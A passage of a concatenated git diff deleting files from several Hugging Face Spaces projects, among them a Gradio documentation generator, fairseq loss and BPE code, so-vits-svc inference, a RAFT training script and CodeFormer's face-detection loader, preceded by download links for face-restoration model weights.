-[RetinaFace-R50](https://public-vigen-video.oss-cn-shanghai.aliyuncs.com/robin/models/RetinaFace-R50.pth?OSSAccessKeyId=LTAI4G6bfnyW4TA4wFUXTYBe&Expires=1961116085&Signature=GlUNW6%2B8FxvxWmE9jKIZYOOciKQ%3D) | [GPEN-512](https://public-vigen-video.oss-cn-shanghai.aliyuncs.com/robin/models/GPEN-BFR-512.pth?OSSAccessKeyId=LTAI4G6bfnyW4TA4wFUXTYBe&Expires=1961116208&Signature=hBgvVvKVSNGeXqT8glG%2Bd2t2OKc%3D) | [GPEN-1024-Color](https://public-vigen-video.oss-cn-shanghai.aliyuncs.com/robin/models/GPEN-Colorization-1024.pth?OSSAccessKeyId=LTAI4G6bfnyW4TA4wFUXTYBe&Expires=1961116315&Signature=9tPavW2h%2F1LhIKiXj73sTQoWqcc%3D) | [realesrnet_x2](https://public-vigen-video.oss-cn-shanghai.aliyuncs.com/robin/models/realesrnet_x2.pth?OSSAccessKeyId=LTAI4G6bfnyW4TA4wFUXTYBe&Expires=1962694780&Signature=lI%2FolhA%2FyigiTRvoDIVbtMIyhjI%3D) | [realesrnet_x4](https://public-vigen-video.oss-cn-shanghai.aliyuncs.com/robin/models/realesrnet_x4.pth?OSSAccessKeyId=LTAI4G6bfnyW4TA4wFUXTYBe&Expires=1962694847&Signature=MA5E%2FLp88oCz4kFINWdmeuSh7c4%3D)
diff --git a/spaces/HighCWu/anime-colorization-with-hint/gradio-modified/gradio/documentation.py b/spaces/HighCWu/anime-colorization-with-hint/gradio-modified/gradio/documentation.py
deleted file mode 100644
index ac98d61725859373ee26eeded34fff3ca67750ce..0000000000000000000000000000000000000000
--- a/spaces/HighCWu/anime-colorization-with-hint/gradio-modified/gradio/documentation.py
+++ /dev/null
@@ -1,193 +0,0 @@
-"""Contains methods that generate documentation for Gradio functions and classes."""
-
-from __future__ import annotations
-
-import inspect
-from typing import Callable, Dict, List, Tuple
-
-classes_to_document = {}
-documentation_group = None
-
-
-def set_documentation_group(m):
-    global documentation_group
-    documentation_group = m
-    if m not in classes_to_document:
-        classes_to_document[m] = []
-
-
-def document(*fns):
-    """
-    Defines the @document decorator which adds classes or functions to the Gradio
-    documentation at www.gradio.app/docs.
-
-    Usage examples:
-    - Put @document() above a class to document the class and its constructor.
-    - Put @document(fn1, fn2) above a class to also document the class methods fn1 and fn2.
-    """
-
-    def inner_doc(cls):
-        global documentation_group
-        classes_to_document[documentation_group].append((cls, fns))
-        return cls
-
-    return inner_doc
-
-
-def document_fn(fn: Callable) -> Tuple[str, List[Dict], Dict, str | None]:
-    """
-    Generates documentation for any function.
-    Parameters:
-        fn: Function to document
-    Returns:
-        description: General description of fn
-        parameters: A list of dicts for each parameter, storing data for the parameter name, annotation and doc
-        return: A dict storing data for the returned annotation and doc
-        example: Code for an example use of the fn
-    """
-    doc_str = inspect.getdoc(fn) or ""
-    doc_lines = doc_str.split("\n")
-    signature = inspect.signature(fn)
-    description, parameters, returns, examples = [], {}, [], []
-    mode = "description"
-    for line in doc_lines:
-        line = line.rstrip()
-        if line == "Parameters:":
-            mode = "parameter"
-        elif line == "Example:":
-            mode = "example"
-        elif line == "Returns:":
-            mode = "return"
-        else:
-            if mode == "description":
-                description.append(line if line.strip() else "<br>")
-                continue
-            assert (
-                line.startswith("    ") or line.strip() == ""
-            ), f"Documentation format for {fn.__name__} has format error in line: {line}"
-            line = line[4:]
-            if mode == "parameter":
-                colon_index = line.index(": ")
-                assert (
-                    colon_index > -1
-                ), f"Documentation format for {fn.__name__} has format error in line: {line}"
-                parameter = line[:colon_index]
-                parameter_doc = line[colon_index + 2 :]
-                parameters[parameter] = parameter_doc
-            elif mode == "return":
-                returns.append(line)
-            elif mode == "example":
-                examples.append(line)
-    description_doc = " ".join(description)
-    parameter_docs = []
-    for param_name, param in signature.parameters.items():
-        if param_name.startswith("_"):
-            continue
-        if param_name == "kwargs" and param_name not in parameters:
-            continue
-        parameter_doc = {
-            "name": param_name,
-            "annotation": param.annotation,
-            "doc": parameters.get(param_name),
-        }
-        if param_name in parameters:
-            del parameters[param_name]
-        if param.default != inspect.Parameter.empty:
-            default = param.default
-            if type(default) == str:
-                default = '"' + default + '"'
-            if default.__class__.__module__ != "builtins":
-                default = f"{default.__class__.__name__}()"
-            parameter_doc["default"] = default
-        elif parameter_doc["doc"] is not None and "kwargs" in parameter_doc["doc"]:
-            parameter_doc["kwargs"] = True
-        parameter_docs.append(parameter_doc)
-    assert (
-        len(parameters) == 0
-    ), f"Documentation format for {fn.__name__} documents nonexistent parameters: {''.join(parameters.keys())}"
-    if len(returns) == 0:
-        return_docs = {}
-    elif len(returns) == 1:
-        return_docs = {"annotation": signature.return_annotation, "doc": returns[0]}
-    else:
-        return_docs = {}
-        # raise ValueError("Does not support multiple returns yet.")
-    examples_doc = "\n".join(examples) if len(examples) > 0 else None
-    return description_doc, parameter_docs, return_docs, examples_doc
-
-
-def document_cls(cls):
-    doc_str = inspect.getdoc(cls)
-    if doc_str is None:
-        return "", {}, ""
-    tags = {}
-    description_lines = []
-    mode = "description"
-    for line in doc_str.split("\n"):
-        line = line.rstrip()
-        if line.endswith(":") and " " not in line:
-            mode = line[:-1].lower()
-            tags[mode] = []
-        elif line.split(" ")[0].endswith(":") and not line.startswith("    "):
-            tag = line[: line.index(":")].lower()
-            value = line[line.index(":") + 2 :]
-            tags[tag] = value
-        else:
-            if mode == "description":
-                description_lines.append(line if line.strip() else "<br>")
-            else:
-                assert (
-                    line.startswith("    ") or not line.strip()
-                ), f"Documentation format for {cls.__name__} has format error in line: {line}"
-                tags[mode].append(line[4:])
-    if "example" in tags:
-        example = "\n".join(tags["example"])
-        del tags["example"]
-    else:
-        example = None
-    for key, val in tags.items():
-        if isinstance(val, list):
-            tags[key] = "<br>".join(val)
-    description = " ".join(description_lines).replace("\n", "<br>")
-    return description, tags, example
-
-
-def generate_documentation():
-    documentation = {}
-    for mode, class_list in classes_to_document.items():
-        documentation[mode] = []
-        for cls, fns in class_list:
-            fn_to_document = cls if inspect.isfunction(cls) else cls.__init__
-            _, parameter_doc, return_doc, _ = document_fn(fn_to_document)
-            cls_description, cls_tags, cls_example = document_cls(cls)
-            cls_documentation = {
-                "class": cls,
-                "name": cls.__name__,
-                "description": cls_description,
-                "tags": cls_tags,
-                "parameters": parameter_doc,
-                "returns": return_doc,
-                "example": cls_example,
-                "fns": [],
-            }
-            for fn_name in fns:
-                fn = getattr(cls, fn_name)
-                (
-                    description_doc,
-                    parameter_docs,
-                    return_docs,
-                    examples_doc,
-                ) = document_fn(fn)
-                cls_documentation["fns"].append(
-                    {
-                        "fn": fn,
-                        "name": fn_name,
-                        "description": description_doc,
-                        "tags": {},
-                        "parameters": parameter_docs,
-                        "returns": return_docs,
-                        "example": examples_doc,
-                    }
-                )
-            documentation[mode].append(cls_documentation)
-    return documentation
diff --git a/spaces/Hina4867/bingo/src/lib/hooks/use-enter-submit.tsx b/spaces/Hina4867/bingo/src/lib/hooks/use-enter-submit.tsx
deleted file mode 100644
index d66b2d3253baff164235d4ca791aae6d84721835..0000000000000000000000000000000000000000
--- a/spaces/Hina4867/bingo/src/lib/hooks/use-enter-submit.tsx
+++ /dev/null
@@ -1,23 +0,0 @@
-import { useRef, type RefObject } from 'react'
-
-export function useEnterSubmit(): {
-  formRef: RefObject<HTMLFormElement>
-  onKeyDown: (event: React.KeyboardEvent<HTMLTextAreaElement>) => void
-} {
-  const formRef = useRef<HTMLFormElement>(null)
-
-  const handleKeyDown = (
-    event: React.KeyboardEvent<HTMLTextAreaElement>
-  ): void => {
-    if (
-      event.key === 'Enter' &&
-      !event.shiftKey &&
-      !event.nativeEvent.isComposing
-    ) {
-      formRef.current?.requestSubmit()
-      event.preventDefault()
-    }
-  }
-
-  return { formRef, onKeyDown: handleKeyDown }
-}
diff --git a/spaces/ICML2022/OFA/fairseq/fairseq/criterions/label_smoothed_cross_entropy.py b/spaces/ICML2022/OFA/fairseq/fairseq/criterions/label_smoothed_cross_entropy.py
deleted file mode 100644
index 56d63e3e1b5a036e0adf32480e2b66f371738013..0000000000000000000000000000000000000000
--- a/spaces/ICML2022/OFA/fairseq/fairseq/criterions/label_smoothed_cross_entropy.py
+++ /dev/null
@@ -1,170 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-
-import math
-from dataclasses import dataclass, field
-
-import torch
-from fairseq import metrics, utils
-from fairseq.criterions import FairseqCriterion, register_criterion
-from fairseq.dataclass import FairseqDataclass
-from omegaconf import II
-
-
-@dataclass
-class LabelSmoothedCrossEntropyCriterionConfig(FairseqDataclass):
-    label_smoothing: float = field(
-        default=0.0,
-        metadata={"help": "epsilon for label smoothing, 0 means no label smoothing"},
-    )
-    report_accuracy: bool = field(
-        default=False,
-        metadata={"help": "report accuracy metric"},
-    )
-    ignore_prefix_size: int = field(
-        default=0,
-        metadata={"help": "Ignore first N tokens"},
-    )
-    sentence_avg: bool = II("optimization.sentence_avg")
-
-
-def label_smoothed_nll_loss(lprobs, target, epsilon, ignore_index=None, reduce=True):
-    if target.dim() == lprobs.dim() - 1:
-        target = target.unsqueeze(-1)
-    nll_loss = -lprobs.gather(dim=-1, index=target)
-    smooth_loss = -lprobs.sum(dim=-1, keepdim=True)
-    if ignore_index is not None:
-        pad_mask = target.eq(ignore_index)
-        nll_loss.masked_fill_(pad_mask, 0.0)
-        smooth_loss.masked_fill_(pad_mask, 0.0)
-    else:
-        nll_loss = nll_loss.squeeze(-1)
-        smooth_loss = smooth_loss.squeeze(-1)
-    if reduce:
-        nll_loss = nll_loss.sum()
-        smooth_loss = smooth_loss.sum()
-    eps_i = epsilon / (lprobs.size(-1) - 1)
-    loss = (1.0 - epsilon - eps_i) * nll_loss + eps_i * smooth_loss
-    return loss, nll_loss
-
-
-@register_criterion(
-    "label_smoothed_cross_entropy", dataclass=LabelSmoothedCrossEntropyCriterionConfig
-)
-class LabelSmoothedCrossEntropyCriterion(FairseqCriterion):
-    def __init__(
-        self,
-        task,
-        sentence_avg,
-        label_smoothing,
-        ignore_prefix_size=0,
-        report_accuracy=False,
-    ):
-        super().__init__(task)
-        self.sentence_avg = sentence_avg
-        self.eps = label_smoothing
-        self.ignore_prefix_size = ignore_prefix_size
-        self.report_accuracy = report_accuracy
-
-    def forward(self, model, sample, reduce=True):
-        """Compute the loss for the given sample.
-
-        Returns a tuple with three elements:
-        1) the loss
-        2) the sample size, which is used as the denominator for the gradient
-        3) logging outputs to display while training
-        """
-        net_output = model(**sample["net_input"])
-        loss, nll_loss = self.compute_loss(model, net_output, sample, reduce=reduce)
-        sample_size = (
-            sample["target"].size(0) if self.sentence_avg else sample["ntokens"]
-        )
-        logging_output = {
-            "loss": loss.data,
-            "nll_loss": nll_loss.data,
-            "ntokens": sample["ntokens"],
-            "nsentences": sample["target"].size(0),
-            "sample_size": sample_size,
-        }
-        if self.report_accuracy:
-            n_correct, total = self.compute_accuracy(model, net_output, sample)
-            logging_output["n_correct"] = utils.item(n_correct.data)
-            logging_output["total"] = utils.item(total.data)
-        return loss, sample_size, logging_output
-
-    def get_lprobs_and_target(self, model, net_output, sample):
-        lprobs = model.get_normalized_probs(net_output, log_probs=True)
-        target = model.get_targets(sample, net_output)
-        if self.ignore_prefix_size > 0:
-            if getattr(lprobs, "batch_first", False):
-                lprobs = lprobs[:, self.ignore_prefix_size :, :].contiguous()
-                target = target[:, self.ignore_prefix_size :].contiguous()
-            else:
-                lprobs = lprobs[self.ignore_prefix_size :, :, :].contiguous()
-                target = target[self.ignore_prefix_size :, :].contiguous()
-        return lprobs.view(-1, lprobs.size(-1)), target.view(-1)
-
-    def compute_loss(self, model, net_output, sample, reduce=True):
-        lprobs, target = self.get_lprobs_and_target(model, net_output, sample)
-        loss, nll_loss = label_smoothed_nll_loss(
-            lprobs,
-            target,
-            self.eps,
-            ignore_index=self.padding_idx,
-            reduce=reduce,
-        )
-        return loss, nll_loss
-
-    def compute_accuracy(self, model, net_output, sample):
-        lprobs, target = self.get_lprobs_and_target(model, net_output, sample)
-        mask = target.ne(self.padding_idx)
-        n_correct = torch.sum(
-            lprobs.argmax(1).masked_select(mask).eq(target.masked_select(mask))
-        )
-        total = torch.sum(mask)
-        return n_correct, total
-
-    @classmethod
-    def reduce_metrics(cls, logging_outputs) -> None:
-        """Aggregate logging outputs from data parallel training."""
-        loss_sum = sum(log.get("loss", 0) for log in logging_outputs)
-        nll_loss_sum = sum(log.get("nll_loss", 0) for log in logging_outputs)
-        ntokens = sum(log.get("ntokens", 0) for log in logging_outputs)
-        sample_size = sum(log.get("sample_size", 0) for log in logging_outputs)
-
-        metrics.log_scalar(
-            "loss", loss_sum / sample_size / math.log(2), sample_size, round=3
-        )
-        metrics.log_scalar(
-            "nll_loss", nll_loss_sum / ntokens / math.log(2), ntokens, round=3
-        )
-        metrics.log_derived(
-            "ppl", lambda meters: utils.get_perplexity(meters["nll_loss"].avg)
-        )
-
-        total = utils.item(sum(log.get("total", 0) for log in logging_outputs))
-        if total > 0:
-            metrics.log_scalar("total", total)
-            n_correct = utils.item(
-                sum(log.get("n_correct", 0) for log in logging_outputs)
-            )
-            metrics.log_scalar("n_correct", n_correct)
-            metrics.log_derived(
-                "accuracy",
-                lambda meters: round(
-                    meters["n_correct"].sum * 100.0 / meters["total"].sum, 3
-                )
-                if meters["total"].sum > 0
-                else float("nan"),
-            )
-
-    @staticmethod
-    def logging_outputs_can_be_summed() -> bool:
-        """
-        Whether the logging outputs returned by `forward` can be summed
-        across workers prior to calling `reduce_metrics`. Setting this
-        to True will improves distributed training speed.
-        """
-        return True
diff --git a/spaces/ICML2022/OFA/fairseq/fairseq/data/encoders/byte_bpe.py b/spaces/ICML2022/OFA/fairseq/fairseq/data/encoders/byte_bpe.py
deleted file mode 100644
index 31e3a0627827f19ca7f0b58da45e46d40a80c3bf..0000000000000000000000000000000000000000
--- a/spaces/ICML2022/OFA/fairseq/fairseq/data/encoders/byte_bpe.py
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-
-
-from dataclasses import dataclass, field
-
-from fairseq import file_utils
-from fairseq.data.encoders import register_bpe
-from fairseq.data.encoders.byte_utils import (
-    SPACE,
-    SPACE_ESCAPE,
-    byte_encode,
-    smart_byte_decode,
-)
-from fairseq.dataclass import FairseqDataclass
-
-
-@dataclass
-class ByteBpeConfig(FairseqDataclass):
-    sentencepiece_model_path: str = field(
-        default="???", metadata={"help": "path to sentencepiece model"}
-    )
-
-
-@register_bpe("byte_bpe", dataclass=ByteBpeConfig)
-class ByteBPE(object):
-    def __init__(self, cfg):
-        vocab = file_utils.cached_path(cfg.sentencepiece_model_path)
-        try:
-            import sentencepiece as spm
-
-            self.sp = spm.SentencePieceProcessor()
-            self.sp.Load(vocab)
-        except ImportError:
-            raise ImportError(
-                "Please install sentencepiece with: pip install sentencepiece"
-            )
-
-    def encode(self, x: str) -> str:
-        byte_encoded = byte_encode(x)
-        return SPACE.join(self.sp.EncodeAsPieces(byte_encoded))
-
-    @staticmethod
-    def decode(x: str) -> str:
-        unescaped = x.replace(SPACE, "").replace(SPACE_ESCAPE, SPACE)
-        return smart_byte_decode(unescaped)
diff --git a/spaces/Ikaros521/so-vits-svc-4.0-ikaros2/inference/infer_tool.py b/spaces/Ikaros521/so-vits-svc-4.0-ikaros2/inference/infer_tool.py
deleted file mode 100644
index dbaff46f4f6eb792808e0a0cbb37fb86cb8372e2..0000000000000000000000000000000000000000
--- a/spaces/Ikaros521/so-vits-svc-4.0-ikaros2/inference/infer_tool.py
+++ /dev/null
@@ -1,233 +0,0 @@
-import hashlib
-import io
-import json
-import logging
-import os
-import time
-from pathlib import Path
-from inference import slicer
-
-import librosa
-import numpy as np
-# import onnxruntime
-import parselmouth
-import soundfile
-import torch
-import torchaudio
-
-import cluster
-from hubert import hubert_model
-import utils
-from models import SynthesizerTrn
-
-logging.getLogger('matplotlib').setLevel(logging.WARNING)
-
-
-def read_temp(file_name):
-    if not os.path.exists(file_name):
-        with open(file_name, "w") as f:
-            f.write(json.dumps({"info": "temp_dict"}))
-        return {}
-    else:
-        try:
-            with open(file_name, "r") as f:
-                data = f.read()
-            data_dict = json.loads(data)
-            if os.path.getsize(file_name) > 50 * 1024 * 1024:
-                f_name = file_name.replace("\\", "/").split("/")[-1]
-                print(f"clean {f_name}")
-                for wav_hash in list(data_dict.keys()):
-                    if int(time.time()) - int(data_dict[wav_hash]["time"]) > 14 * 24 * 3600:
-                        del data_dict[wav_hash]
-        except Exception as e:
-            print(e)
-            print(f"{file_name} error,auto rebuild file")
-            data_dict = {"info": "temp_dict"}
-        return data_dict
-
-
-def write_temp(file_name, data):
-    with open(file_name, "w") as f:
-        f.write(json.dumps(data))
-
-
-def timeit(func):
-    def run(*args, **kwargs):
-        t = time.time()
-        res = func(*args, **kwargs)
-        print('executing \'%s\' costed %.3fs' % (func.__name__, time.time() - t))
-        return res
-
-    return run
-
-
-def format_wav(audio_path):
-    if Path(audio_path).suffix == '.wav':
-        return
-    raw_audio, raw_sample_rate = librosa.load(audio_path, mono=True, sr=None)
-    soundfile.write(Path(audio_path).with_suffix(".wav"), raw_audio, raw_sample_rate)
-
-
-def get_end_file(dir_path, end):
-    file_lists = []
-    for root, dirs, files in os.walk(dir_path):
-        files = [f for f in files if f[0] != '.']
-        dirs[:] = [d for d in dirs if d[0] != '.']
-        for f_file in files:
-            if f_file.endswith(end):
-                file_lists.append(os.path.join(root, f_file).replace("\\", "/"))
-    return file_lists
-
-
-def get_md5(content):
-    return hashlib.new("md5", content).hexdigest()
-
-def fill_a_to_b(a, b):
-    if len(a) < len(b):
-        for _ in range(0, len(b) - len(a)):
-            a.append(a[0])
-
-def mkdir(paths: list):
-    for path in paths:
-        if not os.path.exists(path):
-            os.mkdir(path)
-
-
-class Svc(object):
-    def __init__(self, net_g_path, config_path,
-                 device=None,
-                 cluster_model_path="logs/44k/kmeans_10000.pt"):
-        self.net_g_path = net_g_path
-        if device is None:
-            self.dev = torch.device("cuda" if torch.cuda.is_available() else "cpu")
-        else:
-            self.dev = torch.device(device)
-        self.net_g_ms = None
-        self.hps_ms = utils.get_hparams_from_file(config_path)
-        self.target_sample = self.hps_ms.data.sampling_rate
-        self.hop_size = self.hps_ms.data.hop_length
-        self.spk2id = self.hps_ms.spk
-        # 加载hubert
-        self.hubert_model = utils.get_hubert_model().to(self.dev)
-        self.load_model()
-        if os.path.exists(cluster_model_path):
-            self.cluster_model = cluster.get_cluster_model(cluster_model_path)
-
-    def load_model(self):
-        # 获取模型配置
-        self.net_g_ms = SynthesizerTrn(
-            self.hps_ms.data.filter_length // 2 + 1,
-            self.hps_ms.train.segment_size // self.hps_ms.data.hop_length,
-            **self.hps_ms.model)
-        _ = utils.load_checkpoint(self.net_g_path, self.net_g_ms, None)
-        if "half" in self.net_g_path and torch.cuda.is_available():
-            _ = self.net_g_ms.half().eval().to(self.dev)
-        else:
-            _ = self.net_g_ms.eval().to(self.dev)
-
-
-
-    def get_unit_f0(self, in_path, tran, cluster_infer_ratio, speaker):
-
-        wav, sr = librosa.load(in_path, sr=self.target_sample)
-
-        f0 = utils.compute_f0_parselmouth(wav, sampling_rate=self.target_sample, hop_length=self.hop_size)
-        f0, uv = utils.interpolate_f0(f0)
-        f0 = torch.FloatTensor(f0)
-        uv = torch.FloatTensor(uv)
-        f0 = f0 * 2 ** (tran / 12)
-        f0 = f0.unsqueeze(0).to(self.dev)
-        uv = uv.unsqueeze(0).to(self.dev)
-
-        wav16k = librosa.resample(wav, orig_sr=self.target_sample, target_sr=16000)
-        wav16k = torch.from_numpy(wav16k).to(self.dev)
-        c = utils.get_hubert_content(self.hubert_model, wav_16k_tensor=wav16k)
-        c = utils.repeat_expand_2d(c.squeeze(0), f0.shape[1])
-
-        if cluster_infer_ratio !=0:
-            cluster_c = cluster.get_cluster_center_result(self.cluster_model, c.numpy().T, speaker).T
-            cluster_c = torch.FloatTensor(cluster_c)
-            c = cluster_infer_ratio * cluster_c + (1 - cluster_infer_ratio) * c
-
-        c = c.unsqueeze(0)
-        return c, f0, uv
-
-    def infer(self, speaker, tran, raw_path,
-              cluster_infer_ratio=0,
-              auto_predict_f0=False,
-              noice_scale=0.4):
-        speaker_id = self.spk2id[speaker]
-        sid = torch.LongTensor([int(speaker_id)]).to(self.dev).unsqueeze(0)
-        c, f0, uv = self.get_unit_f0(raw_path, tran, cluster_infer_ratio, speaker)
-        if "half" in self.net_g_path and torch.cuda.is_available():
-            c = c.half()
-        with torch.no_grad():
-            start = time.time()
-            audio = self.net_g_ms.infer(c, f0=f0, g=sid, uv=uv, predict_f0=auto_predict_f0, noice_scale=noice_scale)[0,0].data.float()
-            use_time = time.time() - start
-            print("vits use time:{}".format(use_time))
-        return audio, audio.shape[-1]
-
-    def slice_inference(self,raw_audio_path, spk, tran, slice_db,cluster_infer_ratio, auto_predict_f0,noice_scale, pad_seconds=0.5):
-        wav_path = raw_audio_path
-        chunks = slicer.cut(wav_path, db_thresh=slice_db)
-        audio_data, audio_sr = slicer.chunks2audio(wav_path, chunks)
-
-        audio = []
-        for (slice_tag, data) in audio_data:
-            print(f'#=====segment start, {round(len(data) / audio_sr, 3)}s======')
-            # padd
-            pad_len = int(audio_sr * pad_seconds)
-            data = np.concatenate([np.zeros([pad_len]), data, np.zeros([pad_len])])
-            length = int(np.ceil(len(data) / audio_sr * self.target_sample))
-            raw_path = io.BytesIO()
-            soundfile.write(raw_path, data, audio_sr, format="wav")
-            raw_path.seek(0)
-            if slice_tag:
-                print('jump empty segment')
-                _audio = np.zeros(length)
-            else:
-                out_audio, out_sr = self.infer(spk, tran, raw_path,
-                                                    cluster_infer_ratio=cluster_infer_ratio,
-                                                    auto_predict_f0=auto_predict_f0,
-                                                    noice_scale=noice_scale
-                                                    )
-                _audio = out_audio.cpu().numpy()
-
-            pad_len = int(self.target_sample * pad_seconds)
-            _audio = _audio[pad_len:-pad_len]
-            audio.extend(list(_audio))
-        return np.array(audio)
-
-
-class RealTimeVC:
-    def __init__(self):
-        self.last_chunk = None
-        self.last_o = None
-        self.chunk_len = 16000  # 区块长度
-        self.pre_len = 3840  # 交叉淡化长度，640的倍数
-
-    """输入输出都是1维numpy 音频波形数组"""
-
-    def process(self, svc_model, speaker_id, f_pitch_change, input_wav_path):
-        import maad
-        audio, sr = torchaudio.load(input_wav_path)
-        audio = audio.cpu().numpy()[0]
-        temp_wav = io.BytesIO()
-        if self.last_chunk is None:
-            input_wav_path.seek(0)
-            audio, sr = svc_model.infer(speaker_id, f_pitch_change, input_wav_path)
-            audio = audio.cpu().numpy()
-            self.last_chunk = audio[-self.pre_len:]
-            self.last_o = audio
-            return audio[-self.chunk_len:]
-        else:
-            audio = np.concatenate([self.last_chunk, audio])
-            soundfile.write(temp_wav, audio, sr, format="wav")
-            temp_wav.seek(0)
-            audio, sr = svc_model.infer(speaker_id, f_pitch_change, temp_wav)
-            audio = audio.cpu().numpy()
-            ret = maad.util.crossfade(self.last_o, audio, self.pre_len)
-            self.last_chunk = audio[-self.pre_len:]
-            self.last_o = audio
-            return ret[self.chunk_len:2 * self.chunk_len]
diff --git a/spaces/InpaintAI/Inpaint-Anything/third_party/segment-anything/demo/src/assets/index.html b/spaces/InpaintAI/Inpaint-Anything/third_party/segment-anything/demo/src/assets/index.html
deleted file mode 100644
index cbcd53c19953b4421dc7b4a537eef327eafd4cf1..0000000000000000000000000000000000000000
--- a/spaces/InpaintAI/Inpaint-Anything/third_party/segment-anything/demo/src/assets/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
-<!DOCTYPE html>
-<html lang="en" dir="ltr" prefix="og: https://ogp.me/ns#" class="w-full h-full">
-  <head>
-    <meta charset="utf-8" />
-    <meta
-      name="viewport"
-      content="width=device-width, initial-scale=1, shrink-to-fit=no"
-    />
-    <title>Segment Anything Demo</title>
-
-    <!--  Meta Tags -->
-    <meta property="og:type" content="website" />
-    <meta property="og:title" content="Segment Anything Demo" />
-  </head>
-  <body class="w-full h-full">
-    <div id="root" class="w-full h-full"></div>
-  </body>
-</html>
diff --git a/spaces/JUNGU/VToonify/vtoonify/model/raft/train_standard.sh b/spaces/JUNGU/VToonify/vtoonify/model/raft/train_standard.sh
deleted file mode 100644
index 7f559b386b6b596ec14a94f0d8c13974309b7d80..0000000000000000000000000000000000000000
--- a/spaces/JUNGU/VToonify/vtoonify/model/raft/train_standard.sh
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/bash
-mkdir -p checkpoints
-python -u train.py --name raft-chairs --stage chairs --validation chairs --gpus 0 1 --num_steps 100000 --batch_size 10 --lr 0.0004 --image_size 368 496 --wdecay 0.0001
-python -u train.py --name raft-things --stage things --validation sintel --restore_ckpt checkpoints/raft-chairs.pth --gpus 0 1 --num_steps 100000 --batch_size 6 --lr 0.000125 --image_size 400 720 --wdecay 0.0001
-python -u train.py --name raft-sintel --stage sintel --validation sintel --restore_ckpt checkpoints/raft-things.pth --gpus 0 1 --num_steps 100000 --batch_size 6 --lr 0.000125 --image_size 368 768 --wdecay 0.00001 --gamma=0.85
-python -u train.py --name raft-kitti  --stage kitti --validation kitti --restore_ckpt checkpoints/raft-sintel.pth --gpus 0 1 --num_steps 50000 --batch_size 6 --lr 0.0001 --image_size 288 960 --wdecay 0.00001 --gamma=0.85
diff --git a/spaces/Jackflack09/diffuse-custom/diffusers/dependency_versions_table.py b/spaces/Jackflack09/diffuse-custom/diffusers/dependency_versions_table.py
deleted file mode 100644
index 2fd6bfa1fa17aaeab7adf089e605380ff508a725..0000000000000000000000000000000000000000
--- a/spaces/Jackflack09/diffuse-custom/diffusers/dependency_versions_table.py
+++ /dev/null
@@ -1,33 +0,0 @@
-# THIS FILE HAS BEEN AUTOGENERATED. To update:
-# 1. modify the `_deps` dict in setup.py
-# 2. run `make deps_table_update``
-deps = {
-    "Pillow": "Pillow",
-    "accelerate": "accelerate>=0.11.0",
-    "black": "black==22.8",
-    "datasets": "datasets",
-    "filelock": "filelock",
-    "flake8": "flake8>=3.8.3",
-    "flax": "flax>=0.4.1",
-    "hf-doc-builder": "hf-doc-builder>=0.3.0",
-    "huggingface-hub": "huggingface-hub>=0.10.0",
-    "importlib_metadata": "importlib_metadata",
-    "isort": "isort>=5.5.4",
-    "jax": "jax>=0.2.8,!=0.3.2",
-    "jaxlib": "jaxlib>=0.1.65",
-    "modelcards": "modelcards>=0.1.4",
-    "numpy": "numpy",
-    "parameterized": "parameterized",
-    "pytest": "pytest",
-    "pytest-timeout": "pytest-timeout",
-    "pytest-xdist": "pytest-xdist",
-    "safetensors": "safetensors",
-    "sentencepiece": "sentencepiece>=0.1.91,!=0.1.92",
-    "scipy": "scipy",
-    "regex": "regex!=2019.12.17",
-    "requests": "requests",
-    "tensorboard": "tensorboard",
-    "torch": "torch>=1.4",
-    "torchvision": "torchvision",
-    "transformers": "transformers>=4.21.0",
-}
diff --git a/spaces/Jasonyoyo/CodeFormer/CodeFormer/facelib/detection/__init__.py b/spaces/Jasonyoyo/CodeFormer/CodeFormer/facelib/detection/__init__.py
deleted file mode 100644
index 296262d4e2e29eaa2afba7bda1f0399d77da24f6..0000000000000000000000000000000000000000
--- a/spaces/Jasonyoyo/CodeFormer/CodeFormer/facelib/detection/__init__.py
+++ /dev/null
@@ -1,100 +0,0 @@
-import os
-import torch
-from torch import nn
-from copy import deepcopy
-
-from facelib.utils import load_file_from_url
-from facelib.utils import download_pretrained_models
-from facelib.detection.yolov5face.models.common import Conv
-
-from .retinaface.retinaface import RetinaFace
-from .yolov5face.face_detector import YoloDetector
-
-
-def init_detection_model(model_name, half=False, device='cuda'):
-    if 'retinaface' in model_name:
-        model = init_retinaface_model(model_name, half, device)
-    elif 'YOLOv5' in model_name:
-        model = init_yolov5face_model(model_name, device)
-    else:
-        raise NotImplementedError(f'{model_name} is not implemented.')
-
-    return model
-
-
-def init_retinaface_model(model_name, half=False, device='cuda'):
-    if model_name == 'retinaface_resnet50':
-        model = RetinaFace(network_name='resnet50', half=half)
-        model_url = 'https://github.com/xinntao/facexlib/releases/download/v0.1.0/detection_Resnet50_Final.pth'
-    elif model_name == 'retinaface_mobile0.25':
-        model = RetinaFace(network_name='mobile0.25', half=half)
-        model_url = 'https://github.com/xinntao/facexlib/releases/download/v0.1.0/detection_mobilenet0.25_Final.pth'
-    else:
-        raise NotImplementedError(f'{model_name} is not implemented.')
-
-    model_path = load_file_from_url(url=model_url, model_dir='weights/facelib', progress=True, file_name=None)
-    load_net = torch.load(model_path, map_location=lambda storage, loc: storage)
-    # remove unnecessary 'module.'
-    for k, v in deepcopy(load_net).items():
-        if k.startswith('module.'):
-            load_net[k[7:]] = v
-            load_net.pop(k)
-    model.load_state_dict(load_net, strict=True)
-    model.eval()
-    model = model.to(device)
-
-    return model
-
-
-def init_yolov5face_model(model_name, device='cuda'):
-    if model_name == 'YOLOv5l':
-        model = YoloDetector(config_name='facelib/detection/yolov5face/models/yolov5l.yaml', device=device)
-        model_url = 'https://github.com/sczhou/CodeFormer/releases/download/v0.1.0/yolov5l-face.pth'
-    elif model_name == 'YOLOv5n':
-        model = YoloDetector(config_name='facelib/detection/yolov5face/models/yolov5n.yaml', device=device)
-        model_url = 'https://github.com/sczhou/CodeFormer/releases/download/v0.1.0/yolov5n-face.pth'
-    else:
-        raise NotImplementedError(f'{model_name} is not implemented.')
-    
-    model_path = load_file_from_url(url=model_url, model_dir='weights/facelib', progress=True, file_name=None)
-    load_net = torch.load(model_path, map_location=lambda storage, loc: storage)
